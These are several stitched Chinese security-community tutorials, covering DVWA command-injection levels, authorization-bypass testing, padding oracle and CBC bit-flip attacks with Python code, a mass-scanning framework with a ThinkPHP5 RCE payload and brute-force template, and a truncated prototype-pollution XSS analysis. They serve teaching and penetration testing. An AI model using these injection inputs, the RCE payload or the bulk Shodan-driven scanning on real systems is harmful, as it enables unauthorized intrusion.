3. <https://golang.org/src/bufio/bufio.go>
4. <https://www.anquanke.com/post/id/214940>
5. <https://www.anquanke.com/post/id/215419>
6. <https://www.anquanke.com/post/id/215820>
7. <https://golang.org/pkg/net/>
8. <https://github.com/strazzere/golang_loader_assist> | 社区文章 |
# 2.Command Injection
## 1.Command Injection(Low)
相关代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
stristr() 函数
搜索字符串在另一字符串中的第一次出现。该函数是二进制安全的, 且是不区分大小写的。如需进行区分大小写的搜索，要使用 strstr() 函数。
php_uname()函数
返回运行 PHP 的系统的有关信息。
'a'：此为默认。包含序列 "s n r v m" 里的所有模式。
's'：操作系统名称。例如： FreeBSD。
'n'：主机名。例如： localhost.example.com。
'r'：版本名称，例如： 5.1.2-RELEASE。
'v'：版本信息。操作系统之间有很大的不同。
'm'：机器类型。例如：i386
可以看到, 服务端代码仅仅根据操作系统的不同, 执行相应的命令, 没有进行任何过滤, 导致了严重的命令执行漏洞。
命令是用分号;分隔的, 所以尝试注入:
;ls /
还可以用&&来执行, &&当第一个命令执行成功时(返回0), 才执行&&后面的命令
command1 && command2
如果command1执行成功，则执行command2
baidu.com && pwd
baidu.com & pwd
baidu.com || pwd
结果相同
baidu.com | pwd
## 2.Command Injection(Medium)
相关代码分析
服务器端对ip参数做了一定过滤，即把”&&” 、”;”删除，本质上采用的是黑名单机制，因此依旧存在安全问题。
采用黑名单过滤, 可以理解为一种枚举过滤, 列举出可能出现的漏洞, 然后过滤; 但是很多情况下是枚举不完的, 依旧存在漏洞
只有”&&”与” ;”被过滤了，所以”&”不会受影响。
输入baidu.com & pwd
方式：command1 | command2
command1的输出作为command2的输入
baidu.com | pwd
方式：command1 || command2
如果command1执行失败，则执行command2
baidu.com || pwd
## 3.Command Injection(High)
相关代码分析
在High级别中, 将一些主要的命令执行关键字( & ; | ...) 给替换为空了, 但是由于黑名单过滤的局限性, 还是存在漏洞的。
仔细观察发现, 仅仅是把 | (带一个空格) 给替换为空了, 实际上并没有把 | (管道符)给过滤
127.0.0.1|ls
## 4.Command Injection(Impossible)
相关代码分析
相关函数介绍
stripslashes(string)
stripslashes函数会删除字符串string中的反斜杠，返回已剥离反斜杠的字符串。
explode(separator,string,limit)
把字符串打散为数组，返回字符串的数组。参数separator规定在哪里分割字符串，参数string是要分割的字符串，可选参数limit规定所返回的数组元素的数目。
is_numeric(string)
检测string是否为数字或数字字符串，如果是返回TRUE，否则返回FALSE。
可以看到，Impossible级别的代码加入了Anti-CSRF
token，同时对参数ip进行了严格的限制，只有诸如“数字.数字.数字.数字”的输入才会被接收执行，因此不存在命令注入漏洞。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
## 0x01 前言
市面上很多注入、XSS等漏洞的挖掘文章，但是权限类漏洞讲的比较少。并且在最近项目上发现的越权，未授权类的漏洞比较多，就想着写这么一篇文章，也是总结一下自己最近的学习心得。
文章开头也希望大家看看OWASP
TOP10漏洞的变化，刚开始我觉得没什么，注入也只是变成了第三。然后实际过程中发现，注入漏洞真的变少了，或者不容易发现了，更多关注的，便是访问控制类的漏洞。
## 0x02 未授权访问漏洞
### 概念
首先理解什么是未授权漏洞
未授权字面上理解是未获得授权，对于正常的业务来说，有些功能点需要经过登录之后才能进行，那么如果我们通过一些绕过，无需登录也可以完成此类操作，那么便是未授权访问漏洞了。
### 常见的未授权访问漏洞
常见的未授权漏洞一般分为两种：
1、组件类的，如redis未授权、mongodb未授权等，也是比较常见的。对于此类漏洞，可以理解为不需要登录即可执行里面的功能，所以存在未授权漏洞。
2、WEB层面的，如某某CMS未授权文件上传、未授权创建账号等。因为可以绕过登录限制进行操作，所以存在未授权访问漏洞。
本文旨在探究WEB层面的未授权访问漏洞，暂不涉及组件类漏洞，感兴趣的可以参考[格格巫
MMQ!!](https://blog.csdn.net/weixin_43214644)师傅的文章：<https://blog.csdn.net/weixin_43214644/article/details/124348759>
### Cookie
由于 HTTP 是无状态的协议，不能保存每一次请求的状态，所以需要给客户端增加 Cookie
来保存客户端的状态。在一些xss的文章中也常常会讲到Cookie的概念。以防有师傅不理解，这里简单讲一下。
Cookie，是某些网站为了辨别用户身份，进行Session跟踪而储存在用户本地终端上的数据（通常经过加密），由用户客户端计算机暂时或永久保存的信息。简单来说，Cookie就是一个加密了的字符串，用来分辨用户身份的，有点像
**放在保险箱中的身份证** 。
当然不仅仅只能通过cookie，还有auth，jwt等认证方式。大体方向是一样的，都是为了辨别用户身份。
### 如何挖掘此类漏洞
理解了什么是cookie之后，我们一起模拟一个场景：
用户A是某网站的管理员，他今天的任务是修改一个账号的信息。首先，A打开网站后台登录界面，输入账号密码后登录系统，在系统后台界面点击用户管理功能，在管理功能中找到并点击修改按钮，在修改界面进行了修改账号信息的操作，点击完成。
思考：
1、在登录后，A至少点击了几个功能？
2、点击后台功能的时候，系统是怎么知道A是否登录的？
第一个问题，访问用户管理是一个，点击修改按钮是一个，点击修改完成按钮是一个。至少有3个，可能细节没有描述好，还会有更多。
进入到第二个问题，我想应该很多人已经知道了，就是Cookie，或者说是认证因子。考虑用户的体验性，不可能进行一步操作便输入一次账号密码的，当然，这是最安全的。
挖掘方式很简单，既然系统通过检测Cookie等认证因子进行判断是否登录，那么只需要将认证因子删除，分析删除前后返回包的变化即可判断。
这样一想，对于使用Burp测试来说，只需要将数据包中的Cookie等字段值置空或者修改为无用字符，再查看前后的数据包是否相同即可。有那么一个插件可以帮助快速挖掘此类漏洞。
项目地址：<https://github.com/theLSA/burp-unauth-checker>
burp本身的抓包模块也有个功能可以进行替换，将授权类参数替换即可，不过好像不太好用，这是直接修改数据包内容而不是重放操作，影响体验。如图新增了一个规则，将匹配到Match的替换成Replace的内容。
### 代码层面分析
代码层面以某OA系统为例，通过auth.inc.php文件进行鉴权，在需要鉴权的文件中包含auth.inc.php，即可达到鉴权的效果。
例如某个备份数据库操作，便在最前面包含了auth.inc.php文件进行鉴权。
auth.inc.php文件中可以看到进行了校验
## 0x03 越权访问漏洞
### 概念
使用用户A的权限去操作用户B的数据，如果能够成功操作，则称之为越权操作。如果A、B的权限相同，或者说是在同一水平层面的，那么我们称此操作为水平越权。如果A的权限小于B的权限，那么我们称此操作为垂直越权。
### 如何挖掘此类漏洞
如果问我近几个月的渗透测试项目什么漏洞比较多，我应该会说越权漏洞。在理解了越权漏洞之后，发现这类问题真的特别多，并且挖掘难度没有特别大。
首先我将挖掘越权类漏洞分为两大类：
1、未使用cookie鉴权，通过修改userid等字段进行越权。
2、使用cookie鉴权，未检测对应操作是否符合当前权限预期。
（下面通过某CMS模拟漏洞环境，并非实际存在越权类漏洞。）
### 未使用cookie鉴权
要挖掘越权类漏洞，不能局限于1、2个功能点。首先需要在大体方向上判断，整个系统的功能点，有没有通过userid等参数值进行校验的。常见方式便是通过全局搜索userid、id、countid等字符，通过修改对应id值进行判断。
例如此处获取用户数据功能，如果未检测用户id是否与cookie对应。那么便可以通过枚举用户id，获取其他用户数据。
或者在某个获取验证码功能，通过修改user字段值，伪造代替其他用户获取验证码进行越权操作。
### 使用cookie鉴权
第一种、拥有两个账号密码的情况下，使用管理员账号操作，抓取数据包，修改cookie为普通用户的cookie
第二种、只有普通账号的情况下，通过js文件发现接口，通过自主访问接口，fuzz字段值进行越权测试
#### 拥有两个账号密码
1、登录管理员用户，获取以下cookie
PHPSESSID=lm5n7it0hinhbnqa3fp4v263i3
2、登录普通用户，获取以下cookie
PHPSESSID=9sa9vq9ng9n7b9hodjrkel5qg7
3、使用管理员进行添加用户操作并抓取数据包
4、将数据包发送到重放模块，替换cookie为普通用户cookie。如果依旧可以正常执行，那么即表示存在越权漏洞。
当然也可以使用burp替换的方式进行
#### 只有普通账号
这种情况下测试越权比较麻烦，但是更加适用于没有账号然后通过暴力破解获取了一个低权限账号的情况下，一般会先通过js文件、swagger等获取存在的接口，然后访问接口查看是否能直接获取信息。如果能够获取信息那么删除认证因子看看是否能够未授权。
如果直接访问提示错误，并且没有办法fuzz到具体的参数的话，一般就无法利用了。但是有些情况下，会提示缺少什么参数，或者什么参数不能为空。这就可以构造出具体的请求包进行测试了，如果能够进行操作，比如获取某用户信息，修改某用户数据，那么便是存在越权漏洞。
使用普通账号登录后的Cookie，构造更新数据的数据包，成功执行更新操作，即存在越权漏洞。
当提示无权限或者其他错误信息，即不存在越权漏洞。
## 0x04 总结
权限问题最近发现了特别多，一开始挖掘替换cookie实现的越权，感觉好像没什么危害，但是当只有普通用户的情况下，通过js文件翻到了许多接口，再结合一些数据包中的参数，fuzz之后成功构造了数据包，越权实现了许多高危操作后，我发现越权漏洞确实应该重视。那么怎么修复此类漏洞呢？其实只要在每个操作前面做两个步骤：1、检测cookie是否已登录。2、如果该功能属于管理员才能操作的功能，检测cookie中的用户是否属于管理员组。 | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/OtGw-rALwpBkERfvqdZ4kQ>**
## 1、padding oracle 简介
首先我们先看一下padding oracle漏洞简单描述，以下是来自百度百科的解释
Padding的含义是“填充”，在解密时，如果算法发现解密后得到的结果，它的填充方式不符合规则，那么表示输入数据有问题，对于解密的类库来说，往往便会抛出一个异常，提示Padding不正确。Oracle在这里便是“提示”的意思，一开始看到漏洞名称中有oracle的时候我也被误导了，单实际上和甲骨文公司没有任何关系。
## 2、常见的加密模式
首先我们知道，加密的方法有很多种，分为两大类 对称加密和非对称加密，
对称加密又称单密钥加密，也就是字面意思，加密解密用的都是同一个密钥，常见的对称加密算法，例如DES，3DES和AES等
非对称加密，就是说密钥分两个，一个公钥，一个私钥，加解密过程就是公钥加密私钥解密和私钥加密公钥匙解密，常见的非对称加密算法有，RSA DSA等
初次接触这个漏洞的人，多会认为此漏洞是一个加密算法的漏洞，然而实际却并非如此随着讲解就会明白真正的漏洞点出在何处
我们常用的加密可以分为两部分来理解，一部分是加密算法，这部分的话过于高深需要相当程度的密码学知识做基础。而另一部分，就是加密模式，这部分相较于加密算法来说就简单太多了，而此次出现padding
oracle漏洞的就是CBC加密模式
这里我从网上截几个图解释下这个CBC模式是个什么东西，出了这个CBC模式外还有哪些个加密模式。
AES是对称加密，对称加密呢有两大类加密模式，即分组加密和流加密，AES分组加密有五种加密模式:
1. 电码本模式（Electronic Codebook Book (ECB)）；
2. 密码分组链接模式（Cipher Block Chaining (CBC)）；
3. 计算器模式（Counter (CTR)）；
4. 密码反馈模式（Cipher FeedBack (CFB)）；
5. 输出反馈模式（Output FeedBack (OFB)）。
此次出现问题的是CBC加密模式，为了方便理解加密模式 我们就顺便也讲一下ECB加密模式。
## 3、ECB加密模式简介
首先我们要明白加密算法和加密模式是两个概念，AES是加密算法，加密算法是通过接收方和发送方协商产生密钥，结合一系列的各种位运算之后得出的结果。而加密模式是在加密算法的基础上，把加密的方式变得更加复杂一点，首先我们看下最简单直接的ECB加密模式
可以看到ECB加密模式的思想非常直白，就是把明文分为等长的块，然后一块一块的加密，最后再把每一块加密后的密文拼接在一起。这就是ECB加密模式
## 4、CBC加密模式简介
接下来就讲一讲这次的重点，也就是CBC加密模式
首先多了一个IV，这个IV我们一般称作初始向量，首先明文还是那个明文，分块还是要分块，在通过AES加密之前我们需要先将明文块0，也就是第一块明文，和我们的初始向量IV做异或操作，这个初始向量IV是随机的，而且长度是和我们的每一块明文块等长，因为要按位进行异或嘛。这样无疑就在加密之前就已经先行打乱的我们的明文，与初始化向量异或后的明文，我们暂且称它为中间值，我们此时再对这个中间值进行AES加密，这样第一块明文的加密就完成了。
从上面哪个截图我们不难看的出，CBC模式是一个链式结构，这个链接的关键点就在于，我们加密第二块明文的时候同样也需要一个初始化向量来和我们第二块明文也就是明文块1来进行异或，那这个初始话向量哪来的呢，总不可能系统为每一块明文都分配一个随机的初始化向量吧，这样成本过高。所以我们将第一块明文加密后的密文，作为第二个明文加密时的初始化向量，而这个就是这个链式结构的连接点，后续的步骤就是不断重复加密第一块明文时所做的操作，直至最后一块明文加密完成。
感觉上CBC模式比ECB模式流程上复杂这么多，应该比ECB模式更安全才对，理论上讲确实，因为引入了初始化向量这个一个操作，所以CBC加密的结果随机性更高，相同的明文ECB加密每一次的结果都是相同的，也就是明文和密文一对一。
而CBC由于多了一个随机的初始化向量，所以同样的明文CBC每一次加密出来的结果都是不一样的。由此来看CBC明显比ECB更安全，但是CBC这个模式在设计上存在缺陷
，而这个缺陷就导致了著名的padding oracle攻击
既然有加密，那肯定就会有解密，而且此次被攻击的是服务端，那肯定就是我们客户端发送加密数据，然后服务端解密我们的数据，然后给我们反馈，要么解密成功要么解密不成功，而攻击就发生在服务端解密和反馈这个过程。
不知道讲解到此处大家心里有没有一个疑惑。
回过头来看一下，前文说了分组加密的分组要怎么样？等长对不对 而且 初始化向量和每一组分组都要等长对不对？
用AES和DES两个加密算法来举例子 AES的分组长度为每块16字节，DES呢则是每块8字节，那么怎么能保证我们的明文长度是16或者8的整数倍呢？
当然没办法保证，所以我们就要采取措施强制让明文为16或者8的整数倍，最直接的方法自然就是直接填充，不够就补到它够为止。这也就是所谓的padding 填充。
## 5、padding oracle 原理
而CBC加密模式的设计者自然也考虑到了这问题，剩余的几位当然不能随便填充，而要填充一些有价值的数值。
假如说此时我们按8字节为一个明文分组，分到最后发现最后一组缺了一个字节，程序不会填一些随机数，亦或者将不够的位数全填零。CBC模式最后的填充方法，就是缺了一位就填一个0x01,缺了两位就填两个0x02,缺了三位就填三个0x03,以此往后类推缺n个就填n个0x0n。哪怕当明文正好时分组的整数倍时，也会填充8个0x08，即使是整数倍也要填充。这样就导致了无论我们明文的长度是多少，我们CBC模式加密是都会在明文的最后进行填充，以确保分段的长度是8的整数倍。
不理解的可以看一下具体的填充算法
add = length - (count % length)
plaintext = plaintext + ('\0' * add) #填充
通过下图可以更好的让我们理解这种填充的思想
之所以选择这么填充，就肯定是有它的道理的。
前文说了，有加密就有解密，那解密的时候这个填充位就会起到很大的作用，CBC模式解密的流程其实就是加密流程再反过来。
我们再看一下加密的流程
下面是解密的流程
此时我们先思考一个问题就是我们平常是通过什么来判断一个业务逻辑或者是功能点是存在漏洞的？那就是通过服务端的回显来判断对不对？如果说服务端给我们的回复一直都是一样的我们能判断这个功能点就是存在漏洞么？举个例子拿暴力破解这个漏洞来说，通常都是用在攻击网站的登陆点上，通常存在暴力破解漏洞的登陆点都会返回这样的信息“该用户名不存在”，“密码输入错误”。通过这两条返回信息我们可以判断用户名是否存在和密码是否输入正确。判断的依据就是返回信息的不同，正是因为用户名错误和密码错误的返回消息的差异导致了我们可以去判断我们输入究竟是用户名有错还是密码有错。
而padding oracle攻击，同样是通过服务端返回的信息的差异而产生的，在这里我要先提一下解密时的一个步骤，同样也是我们padding
oracle的核心利用点。
之前加密的时候我们就知道了，为了保证分组加密时每一组都能保证等长，我们在加密时需要对最后一组不等长的情况进行填充，缺n位就填n个0x0n。此时解密的时候这些个填充位就派上用场了，我们在解密步骤时，按照顺序，首先是密文第一组，会先被解密掉，揭秘出来的结果呢就是我们的初始向量IV和第一段明文异或的结果也就是我们之前说的中间值。此时我们将中间值和初始向量IV进行异或，得到的就是我们第一组的明文，然后以此类推知道解密完最后一组密文后。此时此刻，按理说程序会将解密好的数据交由业务代码来进行后续的判断，比如验证揭秘后的用户名密码是否匹配。或者用于校验用户身份的Cookie值是否正确。
理论是如此但是实际上这中间还有一个步骤就是，程序要判断明文最后的填充位是否正确。
这个判断本身是没问题的，可以直接排除掉一些错误的加密数据，和被人恶意篡改的数据。但是一旦判断出明文最后的填充位是错误的，返回给客户端的信息，给攻击者提供攻击思路。
首先如果密文解密成明文后，填充位判断正确，而且经过业务逻辑代码的校验后，也是正确，那么服务端会返回200的状态码。
如果密文解密成明文后，填充位判断正确，但是业务逻辑判断不通过，也就是说这个明文有问题，纳闷服务端会返回200或者300等状态码。
最后如果密文解密成明文后，填充位判断不正确，就会返回500等状态码。
不知道大家有没有发现一个问题就是，填充位的正确与否，服务端返回的状态码是不一样的！！
Padding orlace正是通过这一点的不同来做文章的
那么如何进行padding 我们首先就从一个简单的例子开始讲起，也是很多大佬都用的例子。
首先，以加密解密“TEST”这个字符串为例，“TEST”字符串总共占四个字符串，如果按8字节进行分组，那么很明显是不够的，所以我们需要补充4个0x04
然后由程序进行加密，得出加密的结果是”F851D6CC68FC9537”每两位16进制是一个字节，此时我们审视一下我们当前的已知条件
1. 我们此时不是知道明文是什么，但是我们知道密文是“F851D6CC68FC9537”
2. 同时我们还知道一个条件那就是该密文的初始化向量，没错，如果要进行padding oracle这个攻击的话，已知初始化向量是一个必须的条件。
3. 同时我们可以和服务端进行交互，这个交互是指我们发送加密数据到服务端，服务端回判断我们发送的密文解密后填充位是否正确，并返回给我们填充位正确的状态码，或者填充位不正确的状态码。
刚才的已知条件中，我提到了初始化向量必须已知才能进行攻击，那么这个初始化向量在哪呢？
一般是在密文的头部
我们可以看到图中初始化向量的值是“6D367076036E2239”
举个例子，比如我们使用加密传输了一个值，值的名字叫padding
Padding= 6D367076036E2239F851D6CC68FC9537
我们可以看到“6D367076036E2239”放在密文的前面，又已知初始化向量和密文的分组等长所以，分组长度为8字节，那么初始化向量的长度自然也是8字节，由此我们就可以明确前八个字节是初始化向量，
理论上讲，“F851D6CC68FC9537”这段密文我们如果知道密钥的话，就可以直接解开这段密文得出他的明文，但是很明显我们不知道，如果知道密钥了那我们还折腾个啥
那么接下来的操作就是利用我们手上已有的条件，在不知道密钥的情况下得到这段密文的明文
首先根据解密步骤
服务端收到密文的时候回先对密文进行解密，也就是对“F851D6CC68FC9537”
这段密文进行解密，的到我们的中间值，注意此时中间值是多少我们并不知道，因为服务端不可能把中间值返回给我们。
然后通过中间值和初始化向量异或我们就可以得到“F851D6CC68FC9537”的明文
初始化向量我们是已知的也就是“6D367076036E2239”也就是说我们离得到明文就差一个中间值，如果我们知道中间值是多少，那我们直接异或运算一下就可以得出明文了，关键就在于怎么得到这个中间值？
还记得之前说的程序回判断填充位并返回不同的状态么？
此时我们将初始化向量全部制为零,此时发送给服务端的数据就变成了
padding=0000000000000000F851D6CC68FC9537然后看图
还是一样的步骤，程序解密密文得到中间值，然后和初始化向量异或得到明文，然后程序再判断填充位是否正确。
我们知道0和数异或的结果都是该数本身
所以中间值和0异或的结果还是中间值本身，我们可以从图中看到异或的结果是3D，此时我们是不可能知道这个异或出来的结果是3D的，但是此时服务端会报一个错，那就是填充位错误，为什么会报这个错，因为之前说了，填充文在8个字节为分组的情况下，最多只可能填到8个0x08，所以怎么可能会有0x3D呢？
那怎么样才能不报这个错呢？以最后一位为例
如果此时异或出来的结果为
“39732322076a2601”也就是异或出来的结果最后一位为0x01时就不会报填充位错误了。但是后续还会在爆一个错误，那就是业务判断你这个解密出来的明文数据也就是“39732322076a2601”不正确，因为我们初始化向量都制为零的，所以这个明文当然是错误的，不过这都不重要。
此时我们知道了，当最终解除出来的明文的最后一位位0x01时，我们的程序就不会报填充位错误，那一次类推如果解出来为“39732322076a0202”“
3973232207030303”…… “ 0808080808080808”时也不会报填充位错误。
所以我们从假如最后一位为0x01开始，由于中间是是固定不变的，我们就需要变化初始化向量的最后一个字节让其和中间值的最后一个字节异或的结果为0x01,
所以此时我们需要用到穷举的方法，一个字节的范围为，0x00-0xFF,最多也就是需要尝试256次，
此时我们根据上图可以看出，当最后一位异或结果为0x01时，我们此时的初始化向量为
‘’0000000000000066‘’
又已知0x01是中间值和初始化向量异或得出的结果，所以我们将此时我们用来爆破的初始化向量的最后一位，也就是“0x66”与0x01向异或，就可以得出真正的中间值的最后一个字节，也就是0x67。
以此类推，直到异或结果为“0808080808080808”，我们多需要尝试的次数，最多也不过256*8次也就是2048次，这样我们就可以绕过加密，从而直接获得密文的明文。
## 6、CBC字节翻转攻击
以上的手段可以让我们绕过加解密从而直接获得明文，不知道大家有没有发现一个问题，来我们再次观察一下解密过程
解密的第一步，首先用后台用密钥，将密文解密然后将解密得出的中间值与初始化向量IV做异或操作，得到第一段密文的明文。
解密的第二步，首先用后台用密钥，将密文解密然后将解密得出的中间值与上一段密文做异或操作，得到第二段密文的明文。
不难看出，下一段明文的内容是受到上一段密文的影响的，那么是否存在我们通过修改前一段密文或者初始化向量来达到修改下一段密文的明文的效果
打个比方说我们明文是“admin”然后加密传输到后端，后端解密出来的结果是“bdmin”
可不可以实现呢？当然是可以的
首先我们再理一下这个过程，“admin”首先和初始化向量异或得到一个8字节的密文，然后由于按照8字节来划分，所以初始化向量自然也是8字节，为了方便传递给后台识别，初始化向量转化成8字节大小的十六进制数放在加密好的密文开头，然后发送给后台。
后台受到密文后，将前八字节的十六进制出提取出来作为初始化向量，然后将剩下的密文，使用密钥解密后然后和初始化向量做异或操作，得出最终的明文。
问题还是出在了解密过程中的异或操作，这个初始化向量是我们可控的
我们想要的结果就是密文和我们修改过后的初始化向量
此时我们要清楚一个基本的异或运算
我们使用“qwerasdf”来作为我们的初始化向量 “admin”作为要加密传输的明文，也就是说我们首先进行异或操作时是有“q”和“a”来进行异或的
所以有“q” xor “a” 来作为第一步，这个异或的结果会在后台用密钥解密出来后再与初始化向量“q”来异或得出明文“a”
所以此时有“q” xor “a” xor “q” == “a”这么一个式子
我们将“q” xor “a”的结果设为X
既X = “q” xor “a”
，X就是作为中间值被加密然后传到后台的
此时我们将X 作为参数再与我们的目标值“b”进行一次异或
也就是说 X xor “b” 这个结果我们设为Y
此时得到Y == X xor “b”
再根据上一个式子可以得到，Y = “q” xor "a" xor " b"
已知X是未经修改的IV与明文异或的结果也就是所谓的中间值，也就说解密时X时作为解密时的中间值同样要参与到解密时的异或步骤，但是如果我们在传递数据时将“q”更改为我们的Y。让Y去和X进行异或操作，最终得到的结果就变成了”b“
，这样我们就实现了更改明文的第一个字节，接下来的同样是进行重复操作。
这就是所谓的CBC字节翻转攻击的原理，下面贴出实现代码。
from pyDes import des, CBC, PAD_PKCS5
import binascii
# 秘钥
KEY = 'mHAxsLYz'
#初始化向量
KEY2 = "qwerasdf"
def des_encrypt(s):
"""
DES 加密
:param s: 原始字符串
:return: 加密后字符串，16进制
"""
secret_key = KEY
iv = KEY2
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(s, padmode=PAD_PKCS5)
return binascii.b2a_hex(en)
def des_descrypt(s,iv):
"""
DES 解密
:param s: 加密后的字符串，16进制
:return: 解密后的字符串
"""
secret_key = KEY
iv = iv
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5)
return de
str = des_encrypt("admin")
cipher = bytes(KEY2,encoding='utf-8')
print(cipher)
x = bytes([ord(chr(cipher[0]))^ord('a')^ord('b')])+cipher[1:]
x2 = cipher[0]
print(x)
str3 = des_descrypt(str,x)
print(str3)
下面是执行结果
* * * | 社区文章 |
# 前言
当某框架爆出了存在某些漏洞，或者发现了某个0day时，一般我们的想法是在shodan、google上搜一搜，看看有没有中招的网站，但是这样是不是太慢了，于是就打算写一个通用脚本来批量寻找目标。
搜集了很多开源工具，但是全部都是python2的，于是就想写一个基于python3的框架来批量采集目标并且检验漏洞。
github地址：<https://github.com/saucer-man/saucerframe>
接下来就以最近很火的thinkphp5远程代码执行漏洞为例来说明这款工具如何使用。关于thinkphp5远程代码执行漏洞可以参考<https://bbs.ichunqiu.com/thread-48687-1-1.html>
# saucerframe
saucerframe是一个基于python3的开源渗透测试框架，支持多线程并发，支持多种指定目标方式，可用于爆破|批量POC。使用框架只需要指定`目标`和`漏洞检测poc代码`。
指定目标支持以下几种方式
* 指定单个目标
* 从文本种获取目标
* 某一网段获取目标 e.g. 192.168.1.0/24
* 某一ip段获取目标 192.168.1.0-192.168.2.33
* 支持多种api批量获取目标: Google、Shodan、Zoomeye、Fofa
接下来我们根据thinkphp5远程代码执行漏洞来写一个检测的poc。我们可以利用查看phpinfo的payload页面是否正常返回了phpinfo。如果返回了那么页面中一定存在`PHP
Version`。
根据这个特性编写的简易的poc如下：
#!/usr/bin/env python3
# -*- coding: utf-8 -*- import sys
import requests
def poc(domain_url):
try:
if "http" not in domain_url:
domain_url = "http://" + domain_url
# 这是payload
payload= r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
headers = {
"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50",
}
r = requests.get(domain_url + payload, headers=headers,verify=False, timeout =10,allow_redirects=False)
if "PHP Version" in r.text: # 如果存在漏洞，则返回1
return 1
else: # 不存在漏洞，则返回0
return 0
except Exception as e:
return 0
saucerframe的poc编写很简单，其基本逻辑是：
* 当验证通过（存在漏洞）返回1
* 验证不通过（不存在漏洞）返回0
* 需要再检验一次（比如发生了网络连接错误）则返回2。
(也可以返回其他内容，如果返回其他内容，则将返回内容显示在页面上)
然后我们将其放入/script/文件夹下，利用shodan api搜索关键词`thinkphp5`来搜索一下有哪些网站中招了。
结果：
可以看出影响范围还是比较大的，然后实际去检验一下，未发现误报的情况。
关于其命令参数，还可以指定线程，指定输出文件等。具体命令参数可以参考github。
# POC编写
通过以上的例子可以看出poc编写很简单，实际上还可以用来爆破等其他用处，比如爆破脚本：
def poc(target_password):
url = 'http://xxx.com/login.php?pass=' + target_password
try:
r = requests.get(url)
if 'success' in r.text:
return True # 验证成功，屏幕结果输出为123456
# return url # 返回其他字符串，屏幕结果输出为"http://xxx.com/login.php?pass=123456"
else
return False # 验证失败，无输出
# return 0 # 同上
except ConnectionError:
return 2 # 把target_url再次加入任务队列重新验证(本次验证作废)
相比于手工快很多，只需要编写poc即可，目前poc库还很少（只有昨晚上写的一个。。），欢迎一起开发poc或者改进框架。因为刚刚写完框架就拿来测试了，可能还有些bug，大佬轻喷。 | 社区文章 |
## 前言
本文为对原型链污染的一些扩展思考及利用
## 扩展利用
### 利用原型链污染Bypass HTML过滤器
这里用js-xss这个HTML过滤器为例-><https://github.com/leizongmin/js-xss/>
过滤器的应用方法如下：
[
首先看下解析过程
[
跟进filterXSS函数，首先进行初始化，设置此次过滤的一些选项
[
从上图可以看到在设置whiteList，onTag等属性前该对象为空，所以whiteList，onTag，css等都是可以被污染的属性
再设置完选项后再回到process函数中进行语句解析，通过parseTag来解析标签，并将属性与白名单的中的属性进行对比
[
去除不在白名单的属性
根据上面的解析流程可以看出，在存在原型链污染的前提下可以对whiteList属性进行污染，添加可以实现xss的属性
如下：
[
当然同样还可以直接设置css为false关掉cssFilter来实现某些属性的bypass
[
按照这个思路我又找了几个HTML过滤器进行尝试
HtmlSanitizer-><https://github.com/jitbit/HtmlSanitizer>
这个过滤器同样是利用白名单来检测输入进来的标签以及属性
var tagWhitelist_ = {
'A': true, 'ABBR': true, 'B': true, 'BLOCKQUOTE': true, 'BODY': true, 'BR': true, 'CENTER': true, 'CODE': true, 'DIV': true, 'EM': true, 'FONT': true,
'H1': true, 'H2': true, 'H3': true, 'H4': true, 'H5': true, 'H6': true, 'HR': true, 'I': true, 'IMG': true, 'LABEL': true, 'LI': true, 'OL': true, 'P': true, 'PRE': true,
'SMALL': true, 'SOURCE': true, 'SPAN': true, 'STRONG': true, 'TABLE': true, 'TBODY': true, 'TR': true, 'TD': true, 'TH': true, 'THEAD': true, 'UL': true, 'U': true, 'VIDEO': true
};
var contentTagWhiteList_ = { 'FORM': true }; //tags that will be converted to DIVs
var attributeWhitelist_ = { 'align': true, 'color': true, 'controls': true, 'height': true, 'href': true, 'src': true, 'style': true, 'target': true, 'title': true, 'type': true, 'width': true };
var cssWhitelist_ = { 'color': true, 'background-color': true, 'font-size': true, 'text-align': true, 'text-decoration': true, 'font-weight': true };
var schemaWhiteList_ = [ 'http:', 'https:', 'data:', 'm-files:', 'file:', 'ftp:' ]; //which "protocols" are allowed in "href", "src" etc
var uriAttributes_ = { 'href': true, 'action': true };
再看下代码中的属性检索部分
[
可以看到直接是通过attributeWhiteList_对象进行检索该对象有无此键值，符合进行原型链污染的条件
我们可以通过原型链污染来将触发xss的onerror属性设置为true
[
针对这个问题，其实大多数过滤器代码中并没有对应的防御措施，因为这个必须要在有原型链污染的前提下才可以生效，不过有一部分过滤器对于这个也做了防御措施，比如DOMPurify
防御措施如下
<https://github.com/cure53/DOMPurify/commit/082b2044f553d3ac4ab9414c97eddc2259bf922f>
[
### 从原型链污染到XSS
这里我选取了zepto，jquery，sprint三个javascript库为例来找其中的原型链Gadgets
* zepto测试版本v1.0
* jquery测试版本v1.12.4
* sprint测试版本v0.9.2
#### jQuery
由于Jquery曾被找到过原型链污染的[漏洞](https://snyk.io/vuln/SNYK-JS-JQUERY-174006)，所以其实用性相对于Zeopt和Sprint更大一些，可以通过自身原型链Gadgets+原型链漏洞完整这个攻击链
首先看下Jquery对于DOM操作的代码流程
var $div = $("<div id='lih3iu'>test</div>");
$("body").append($div);
解析流程
jQuery = function( selector, context ) {
// The jQuery object is actually just the init constructor 'enhanced'
// Need init if jQuery is called (just allow error to be thrown if not included)
return new jQuery.fn.init( selector, context );
},
跟进jQuery.fn.init
...
jQuery.merge( this, jQuery.parseHTML(
